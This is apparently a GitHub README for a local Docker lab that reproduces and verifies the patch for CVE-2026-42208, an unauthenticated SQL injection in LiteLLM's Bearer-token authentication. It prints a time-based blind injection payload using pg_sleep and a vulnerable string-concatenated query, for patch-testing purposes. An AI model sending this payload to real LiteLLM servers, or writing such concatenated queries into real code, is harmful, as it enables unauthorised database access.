yendpoint/CVE-2026-42208-LAB
GitHub: yendpoint/CVE-2026-42208-LAB
针对 LiteLLM API key 认证路径中未经认证 SQL 注入漏洞(CVE-2026-42208)的本地复现与补丁验证实验室,提供多版本 Docker 实例和基于时间盲注的 PoC 脚本。
Stars: 0 | Forks: 0
# CVE-2026-42208 — LiteLLM 认证前 SQL 注入实验室
一个用于学习、重现和验证 CVE-2026-42208 补丁的本地实验室:LiteLLM 的 API key 认证路径中存在的未经认证的 SQL 注入漏洞。
## 漏洞概述
当 token 未遵循 `sk-` 前缀路径时,LiteLLM 的认证中间件会直接将原始 Bearer token 传递到 PostgreSQL 查询中,而无需进行参数化。攻击者可以在任何 endpoint 上通过 `Authorization` header 注入任意 SQL —— 无需任何凭据。
**受影响的 endpoint:** 任何经过认证的 endpoint(例如 `POST /v1/chat/completions`)
**注入点:** `Authorization: Bearer `
**验证技术:** 时间盲注 —— `' OR (SELECT pg_sleep(N)) IS NULL --`
**修复版本:** v1.83.7
## 实验室实例
| 端口 | 版本 | 镜像 | 状态 |
|------|---------|-------|--------|
| 8081 | v1.81.14 | `ghcr.io/berriai/litellm:v1.81.14-stable` | 稳定版 |
| 8082 | v1.83.3 | `ghcr.io/berriai/litellm-database:main-v1.83.3-stable.patch.3` | 存在漏洞 |
| 8083 | v1.83.6 | `ghcr.io/berriai/litellm-database:v1.83.6-nightly` | 存在漏洞 |
| 8084 | v1.83.7 | `ghcr.io/berriai/litellm-database:v1.83.7-stable` | 已修复 |
| 8085 | v1.86.0 | `ghcr.io/berriai/litellm-database:v1.86.0` | 已修复 |
**Master key(所有实例):** `sk-local-fake-master-key`
## 前置条件
- Docker Desktop(包含 Compose v2)
- Python 3.9+(用于 PoC 脚本)
## 设置
```
# 首次运行 — 构建 images 并清除所有旧的 volumes
docker compose down -v
docker compose up --build -d
# 检查所有 services 是否健康
docker compose ps
# 查看 seeder 日志以确认 seed keys 已创建
docker compose logs -f seed-v1.81.14 seed-v1.83.3 seed-v1.83.6 seed-v1.83.7 seed-v1.86.0
```
## 运行 PoC
### 单个目标
```
python poc2.py --url http://127.0.0.1:8083
```
### 所有实例同时运行(使用 targets.json)
```
python poc2.py --targets targets.json
```
### 选项
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `--url` | — | 单个目标的基础 URL |
| `--targets` | — | 包含 `[{url, name}, ...]` 条目的 JSON 文件 |
| `--path` | `/v1/chat/completions` | 要测试的 API 路径 |
| `--sleep` | `6` | `pg_sleep()` 的持续时间(秒) |
| `--rounds` | `2` | 每个目标的探测轮数 |
### 预期输出
**存在漏洞的实例** — 探测时间比基准线长约 6 秒:
```
[baseline] status=401 elapsed=0.041s ...
[probe] round=1 status=401 elapsed=6.089s ...
baseline=0.041s median=6.089s delta=6.048s
result=LIKELY VULNERABLE
```
**已修复的实例** — 没有时间差异:
```
[baseline] status=401 elapsed=0.038s ...
[probe] round=1 status=401 elapsed=0.042s ...
baseline=0.038s median=0.042s delta=0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
```
## 注入原理
易受攻击的代码路径使用原始字符串拼接构建查询:
```
# Simplified — 仅包含易受攻击的版本
query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{raw_token}'"
```
将 `' OR (SELECT pg_sleep(6)) IS NULL -- ` 作为 Bearer token 发送会生成:
```
SELECT * FROM "LiteLLM_VerificationToken"
WHERE token = '' OR (SELECT pg_sleep(6)) IS NULL -- '
```
`OR` 条件始终为真,因此每一行都会匹配 —— 并且在返回之前,`pg_sleep(6)` 会针对每一行执行一次。已修复的版本使用参数化查询,因此 payload 被视为文字字符串,子查询永远不会运行。
## 项目结构
```
CVE-2026-42208-LAB/
├── docker-compose.yaml # All services: DBs, LiteLLM instances, seeders
├── targets.json # Target list for poc2.py --targets
├── poc2.py # Timing-based PoC (single or multi-target)
├── poc.py # Alternative PoC with extended options
├── seed.sql # Reference — documents the seeding rationale
├── v1.81.14/
│ ├── Dockerfile
│ └── litellm_config.yaml
├── v1.83.3/
│ ├── Dockerfile
│ └── litellm_config.yaml
├── v1.83.6/
│ ├── Dockerfile
│ └── litellm_config.yaml
├── v1.83.7/
│ ├── Dockerfile
│ └── litellm_config.yaml
└── v1.86.0/
├── Dockerfile
└── litellm_config.yaml
```
## 清理环境
```
# 停止并删除 containers(保留 volumes)
docker compose down
# 停止并删除所有内容,包括 volumes
docker compose down -v
```
标签:CISA项目, Docker, LiteLLM, Python, 安全防御评估, 无后门, 测试用例, 漏洞复现环境, 版权保护, 请求拦截, 身份验证绕过, 逆向工具